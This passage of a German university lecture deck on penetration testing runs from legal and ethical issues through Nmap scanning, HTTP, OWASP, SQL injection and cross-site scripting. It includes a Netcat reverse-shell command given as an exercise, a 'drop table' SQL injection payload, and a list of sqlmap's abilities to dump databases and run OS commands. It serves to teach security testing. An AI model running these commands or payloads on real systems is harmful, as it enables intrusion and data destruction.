![Page 41: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/41.jpg)
Daniel Schalberger, SySS GmbH
41 März 2015 Penetration Testing
Vergleichbarkeit von Prüfungen
Ergebnisse nur bedingt miteinander vergleichbar:
• Prüfmethoden ändern sich
• Subjektivität (Ergebnis kann vom Prüfer abhängen)
• IT-Landschaft verändert sich
• Neue Schwachstellen werden entdeckt (z.B. 2014 Heartbleed und Shellshock)
![Page 42: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/42.jpg)
Daniel Schalberger, SySS GmbH
42 März 2015 Penetration Testing
Penetration Testing Standards Ziele: • Einheitliches Vorgehen / Vergleichbarkeit von
Prüfungen • Wirtschaftliche Vorgehen • Nichts Wesentliches übersehen
OWASP (Open Web Application Security Project): Top 10 / Testing Manual OSSTMM (Open Source Security Testing Methodology Manual) BSI: Durchführungskonzept für Penetrationstests
![Page 43: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/43.jpg)
Daniel Schalberger, SySS GmbH
43 März 2015 Penetration Testing
Ethische Fragen
• Ankauf von Exploits?
• Ankauf von Exploit-Sammlungen (z.B. Core Impact, Canvas, Metasploit)?
• Teilnahme an Hacker-Konferenzen?
• Sponsoring von Hacker-Konferenzen?
![Page 44: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/44.jpg)
Daniel Schalberger, SySS GmbH
44 März 2015 Penetration Testing
Rechtliche Fragen
• Strafgesetzbuch
• Zugangskontrolldiensteschutzgesetz (ZKDSG)
– Umgehung von Schutzmaßnahmen
• Betriebsverfassungsgesetz (BetrVG)
– Mitspracherecht des Betriebsrats
• Telekommunikationsgesetz (TKG)
– Missbrauch von Sendeanlagen
– Abhörverbot
![Page 45: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/45.jpg)
Daniel Schalberger, SySS GmbH
45 März 2015 Penetration Testing
Typische Probleme
• Geduldsspiele (System nicht erreichbar) • unpräziser Scope (mehr Systeme als erwartet,
andere Technologien) • Keine / Fehlerhafte Dokumentation • Unzureichende Netzwerkverbindung (langsames
VPN, instabile Firewall, gar keine Verbindung) • Falschaussagen von Administratoren,
manipulierte Programmausgaben • Aufforderung, ein Finding im Bericht zu
verändern
![Page 46: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/46.jpg)
Daniel Schalberger, SySS GmbH
46 März 2015 Penetration Testing
selbst gemachte Probleme
• unklarer Scope („Darf ich das eigentlich?“)
• fehlende Vorbereitung / fehlendes Equipment (Kabel, Adapter, Tools)
• zu starres Vertrauen auf Scripts, Scanner, Checklisten
• Aufnahme von False Positives in den Bericht
• Unpräziser / nicht nachvollziehbarer Bericht
• Nichteinhaltung von Zusagen (z.B. Berichts-Deadline, Verzicht auf automatisierte Tools)
![Page 47: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/47.jpg)
Daniel Schalberger, SySS GmbH
47 März 2015 Penetration Testing
Anforderungen • Kenntnisse von Betriebssystemen (Windows / Unix /
Linux) • Kenntnisse im Bereich TCP/IP und weiterer
Netzwerkprotokolle • Kenntnisse aktueller Schwachstellen • Kenntnisse im Bereich Programmiersprachen • Kenntnisse im Bereich von IT-Sicherheitsprodukten • Kenntnisse in der Handhabung von Hackertools • Kenntnisse im Bereich IT-Sicherheit • Kreativität • Verantwortungsbewusstsein
![Page 48: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/48.jpg)
Daniel Schalberger, SySS GmbH
48 März 2015 Penetration Testing
Teil 2
Praktisches Hacking
![Page 49: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/49.jpg)
Daniel Schalberger, SySS GmbH
49 März 2015 Penetration Testing
Vorlesungs-Umgebung • Kali-Linux Linux-Distribution für Pentester Diverse nützliche Werkzeuge (Nmap, Wireshark, Burp Suite, Metasploit, Sqlmap, …) sind schon enthalten
• Windows XP Wird erst später benötigt • erstmal Snapshots machen!
![Page 50: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/50.jpg)
Daniel Schalberger, SySS GmbH
50 März 2015 Penetration Testing
Virtualbox einrichten
• Zuweisen einer neuen MAC-Adresse für beide Maschinen
• Einstellen des Netzwerks: Netzwerkbrücke auf WLAN-Interface
• Test: Anpingen der Maschinen
![Page 51: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/51.jpg)
Daniel Schalberger, SySS GmbH
51 März 2015 Penetration Testing
Hacking-Methodologie
(aus „Hacking Exposed“, McGrawHill 2010)
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 52: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/52.jpg)
Daniel Schalberger, SySS GmbH
52 März 2015 Penetration Testing
Footprinting Ermittlung von • IP-Adressen • Domain-Namen • E-Mail-Adressen
Werkzeuge: Whois-Datenbank, Suchmaschinen, DNS-Zonentranfer, … In der Praxis häufig lediglich Abgleich der vom Kunden übermittelten Informationen mit anderen Quellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 53: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/53.jpg)
Daniel Schalberger, SySS GmbH
53 März 2015 Penetration Testing
Scanning
• Aktive Systeme finden (Host Discovery)
• Aktive Dienste finden (TCP – und UDP-Portscan)
• Dienste identifizieren
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 54: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/54.jpg)
Daniel Schalberger, SySS GmbH
54 März 2015 Penetration Testing
Host Discovery Ping Sweep • ICMP Echo Requests • sehr schnell • Problem: System antwortet nicht auf
Ping (Firewall)
Alternative: Portscan • zuverlässig • dauert länger • Mittelweg: nur wenige Ports scannen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 55: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/55.jpg)
Daniel Schalberger, SySS GmbH
55 März 2015 Penetration Testing
Portscan
Systematisches Verbinden mit (allen) Ports 1. Manueller Portscan > telnet IP-Adresse 80
2. Mit Programm (Portscanner): z.B. Nmap, Unicornscan
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 56: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/56.jpg)
Daniel Schalberger, SySS GmbH
56 März 2015 Penetration Testing
Well-Known-Ports
• Es gibt standardisierte TCP-Portnummern, auf denen in der Regel jeweils ein bestimmter Dienst läuft:
21: FTP
22: SSH
53: DNS
80: HTTP
443: HTTPS
445: SMB
3306: MySQL
3389: Remote Desktop
usw…
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 57: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/57.jpg)
Daniel Schalberger, SySS GmbH
57 März 2015 Penetration Testing
Exkurs: Netcat
Verbindung aufbauen:
> nc –v IP Port#
Übung: Scannen Sie ein System im lokalen Netz mit Netcat auf offene Ports (Ports 21, 22, 80, 443)
Listener aufmachen:
> nc –lvp Port#
Remote-Shell:
1. Listener aufmachen
2. > nc –ve /bin/bash IP Port#
Übung: Bauen Sie mit Ihrem Nebensitzer eine Remote Shell
![Page 58: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/58.jpg)
Daniel Schalberger, SySS GmbH
58 März 2015 Penetration Testing
Exkurs: Wireshark
Netzwerk-Sniffer • Aufzeichnung von Netzwerk-Verkehr • automatische Analyse hunderter Protokolle • Kann keine Verschlüsselung knacken • Capture- und Display-Filter
– tcp.port == 443 – http – ip.addr == 192.168.1.1
Übung: Rufen Sie eine Webseite über HTTP und HTTPS auf und betrachten Sie den Verkehr in Wireshark
![Page 59: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/59.jpg)
Daniel Schalberger, SySS GmbH
59 März 2015 Penetration Testing
Der Portscanner Nmap > nmap hosts
Standard-Verhalten: 1. Ping-Sweep 2. Syn-Scan aller als aktiv erkannten Hosts
auf 1.000 Ports Connect-Scan: > nmap -sT hosts
Portscan ohne Ping: > nmap -PN hosts
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 60: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/60.jpg)
Daniel Schalberger, SySS GmbH
60 März 2015 Penetration Testing
Enumeration
Ermittlung weiterer Informationen:
• Versionsstand von Software
• Installierte Patches
• Betriebssystem
• Benutzerkonten
• Laufende Dienste
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 61: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/61.jpg)
Daniel Schalberger, SySS GmbH
61 März 2015 Penetration Testing
Weitere Nmap-Funktionen Versions-Scan: > Nmap –sV hosts
Betriebssystem-Erkennung > Nmap –O hosts
Script-Scan > Nmap –sC hosts
Übung: Scannen Sie zwei Systeme im lokalen Netz. Versuchen Sie mit Hilfe von Nmap, so viele Informationen wie möglich zusammenzutragen.
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 62: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/62.jpg)
Daniel Schalberger, SySS GmbH
62 März 2015 Penetration Testing
Interessante Informationsquellen
• Service-Banner
• SNMP (Default Community Strings)
• SMTP (Benutzer-Enumeration)
• DNS (Hostnamen)
• Windows-Null-Sessions (Benutzernamen, System-Konfiguration)
• LDAP (Benutzernamen)
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 63: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/63.jpg)
Daniel Schalberger, SySS GmbH
63 März 2015 Penetration Testing
Security-Scanner
Automatische Prüfung von Systemen oder Applikationen auf bekannte Schwachstellen
z.B. Nessus, Saint, OpenVAS, Nexpose
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 64: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/64.jpg)
Daniel Schalberger, SySS GmbH
64 März 2015 Penetration Testing
Beispiel: Nessus-Scan
![Page 65: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/65.jpg)
Daniel Schalberger, SySS GmbH
65 März 2015 Penetration Testing
Zugriff erlangen
Ausnutzung vom Schwachstellen, z.B.: • Veraltete Software • Default-Passwörter / schlechte
Passwörter • Fehlerhafte Berechtigungen • überflüssige Dienste • ungeschützte
Administrationsoberflächen • Klartext-Protokolle • Applikations-Schwachstellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 66: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/66.jpg)
Daniel Schalberger, SySS GmbH
66 März 2015 Penetration Testing
Firewall
Web Application Hacking
Datenbank
Webserver
Authentication Service
Application Server
Webservice
![Page 67: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/67.jpg)
Daniel Schalberger, SySS GmbH
67 März 2015 Penetration Testing
Firewall
Web Application Hacking
Datenbank
Webserver
Authentication Service
Application Server
Webservice
XSS
SQL Injection
XML Injection
Passwort-Angriffe
Sniffing
Click-jacking
Buffer Overflow
Unsicherer Objektzugriff
Directory Traversal
XSRF
Open Redirection
![Page 68: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/68.jpg)
Daniel Schalberger, SySS GmbH
68 März 2015 Penetration Testing
HTTP
• Zustandsloses Protokoll
• Klartext-Übermittlung, auch von Zugangsdaten (z.B. Basic Authentication)
• Client schickt Anfrage (Request)
• Server schickt Antwort (Response)
• Request-Methoden (GET, POST, HEAD, PUT, DELETE, LINK,
OPTIONS, PROFIND, …)
• Statuscodes
![Page 69: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/69.jpg)
Daniel Schalberger, SySS GmbH
69 März 2015 Penetration Testing
HTTP GET
• Alle Parameter werden als Teil der URL übermittelt
GET /login.php?name=peter&pass=123 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0
![Page 70: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/70.jpg)
Daniel Schalberger, SySS GmbH
70 März 2015 Penetration Testing
HTTP POST
• Alle Parameter werden als Teil des Bodys übermittelt
POST /login.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0
Content-Length: 19
name=peter&pass=123 Request Body
Request Header
![Page 71: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/71.jpg)
Daniel Schalberger, SySS GmbH
71 März 2015 Penetration Testing
HTTP Status Codes Code Bedeutung
200 OK Standard-Antwort
301 Moved Permanently Umleitung
302 Found Temporäre Umleitung
401 Unauthorized fehlende Zugangsdaten
403 Forbidden keine Berechtigung
404 Not found Datei/Verzeichnis nicht vorhanden
500 Internal Server Error Schwerwiegender Fehler / Indikator für Verwundbarkeit?
![Page 72: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/72.jpg)
Daniel Schalberger, SySS GmbH
72 März 2015 Penetration Testing
HTTP Proxy • HTTP ist zustandslos --> Timing i.d.R. unkritisch • Analyse von HTTP-Verkehr mit Proxy • Typische Features
– Anfragen anzeigen / manipulieren – Antworten anzeigen / manipulieren – HTTPS aufbrechen
• Programme: Burp-Suite, ZAP, W3AF, TamperData • Burp:
– Proxy – Intruder – Decoder – Sequencer – …
Übung: Machen Sie sich mit dem Angriffsproxy Burp Suite vertraut
![Page 73: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/73.jpg)
Daniel Schalberger, SySS GmbH
73 März 2015 Penetration Testing
Informationen sammeln • die eingesetzte Serversoftware • die Funktionen der Webapplikation • die Sitzungsverwaltung • eingesetzte Technologien (XML, AJAX, JSON, HTML5,
etc.) • welche GET- und POST-Parameter verwendet werden • welche GET- und POST-Parameter für eine Transaktion
notwendig sind • wo Weiterleitungen zum Einsatz kommen • Datei- / Verzeichnisnamen (DirBuster) • robots.txt
![Page 74: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/74.jpg)
Daniel Schalberger, SySS GmbH
74 März 2015 Penetration Testing
Robots.txt
• Welche Dateien oder Verzeichnisse sind durch WebCrawler zu ignorieren?
Beispiel 1:
# Zugriff auf alle Dateien erlauben
User-agent: *
Disallow:
![Page 75: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/75.jpg)
Daniel Schalberger, SySS GmbH
75 März 2015 Penetration Testing
Robots.txt – Beispiel 2: # robots.txt for http:www.focus.de .
# Gibt an, welche Unterverzeichnisse nicht durch Crawler durchsucht werden sollen
User-agent: Mediapartners-Google
Disallow:
User-agent: Googlebot-Mobile
Disallow: /
User-agent: *
Disallow: /ERRORS/ # Fehler-Seiten
Disallow: /test/ # Test-Seiten
Disallow: /test1/ # Test-Seiten
...
Disallow: /GLOBPICS/ # allg. Grafiken
Disallow: /intern/service/suche/ # Sucheergebnisse raus
Disallow: /service/suche/ # Sucheergebnisse raus
Disallow: /service/archiv/ # Sucheergebnisse raus
Disallow: /suche/ # Sucheergebnisse raus
Disallow: /panorama/welt/playboy_aid_119773.html
![Page 76: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/76.jpg)
Daniel Schalberger, SySS GmbH
76 März 2015 Penetration Testing
Robots.txt – Beispiel 3:
User-agent: *
Disallow: /test.php
Disallow: /phpMyAdmin-2.11.3-german
Disallow: /admin
Wo liegt hier das Problem?
![Page 77: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/77.jpg)
Daniel Schalberger, SySS GmbH
77 März 2015 Penetration Testing
Formaler Ansatz: OWASP
Open Web Application Security Project • OWASP Top 10 (alle 3 Jahre, aktuell 2013)
– Katalog der Top 10 Web-Schwachstellen (gemessen an Verbreitung und Auswirkung)
• OWASP Testing Guide (aktuell v4) – Leitfaden, wie Web-Schwachstellen zu testen sind – geht weit über Top10 hinaus
• Application Security Verification Standard – Leitfaden, was im Einzelnen zu prüfen ist
• Konferenzen • …
![Page 78: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/78.jpg)
Daniel Schalberger, SySS GmbH
78 März 2015 Penetration Testing
OWASP Top10
![Page 79: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/79.jpg)
Daniel Schalberger, SySS GmbH
79 März 2015 Penetration Testing
OWASP A1-Injection
• Nicht vertrauenswürdige Daten werden an einen Interpreter übergeben
• SQL, OS-Commands, LDAP, XPath
• Zugriff auf Daten ohne Autorisierung
![Page 80: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/80.jpg)
Daniel Schalberger, SySS GmbH
80 März 2015 Penetration Testing
SQL-Injection
• SQL: Structured Query-Language
• Abfragesprache für Datenbanken
• SQL-Injection: Einfügen von eigenem SQL-Code in Datenbankabfrage
Beispiel: www.example.com/suche?q=Berlin
SELECT * FROM User WHERE Ort = ‘Berlin’ ORDER BY id
www.example.com/suche?q=Berlin’;drop table User#
SELECT * FROM User WHERE Ort = ‘Berlin’;drop table user#’
ORDER BY id
![Page 81: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/81.jpg)
Daniel Schalberger, SySS GmbH
81 März 2015 Penetration Testing
BEUST: Arten von SQL-Injection
• Unterscheidung je nach „Payload“, die übergeben werden kann:
– Boolean-based blind
– Error-based
– Union-based
– Stacked Queries (blind)
– Time-based blind
• Übung: SQL-Injection
![Page 82: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/82.jpg)
Daniel Schalberger, SySS GmbH
82 März 2015 Penetration Testing
SQL-Injection: Automatische Ausnutzung
Sqlmap (www.sqlmap.org)
• einfacher Aufruf: sqlmap.py –u “http://www.example.com/show?id=1“
• weitere Funktionen:
– Herausfinden der Rechte des Datenbanknutzers – Benutzer enumerieren, PW-Hashes kopieren – Datenbankschema ermitteln – Datenbankdump durchführen – Dateien lesen und schreiben – Betriebssystemkommandos ausführen
![Page 83: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/83.jpg)
Daniel Schalberger, SySS GmbH
83 März 2015 Penetration Testing
OWASP A3 – Cross-Site Scripting (XSS)
• Ausgabe ungefilterter Benutzereingaben auf Webseite
• Modifizierung der Webseite durch zusätzliche HTML- oder JavaScript-Tags
Gefahren:
• Veränderung des Aussehens der Seite (Defacement)
• Nachladen von Schadcode (Drive-by-Download)
• Stehlen von Sitzungsbezeichnern (Session-Hijacking)
• Kopieren vertraulicher Informationen (z.B. Passwörter)
![Page 84: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/84.jpg)
Daniel Schalberger, SySS GmbH
84 März 2015 Penetration Testing
Cross-Site Scripting
„Arten“ von Cross-Site Scripting:
• Reflected / Non-Persistent Cross-Site Scripting
• Persistent / Stored Cross-Site Scripting
• DOM-based Cross-Site Scripting
• Übungen: – Reflected Cross-Site Scripting 1-3
– DOM-based Cross-Site Scripting
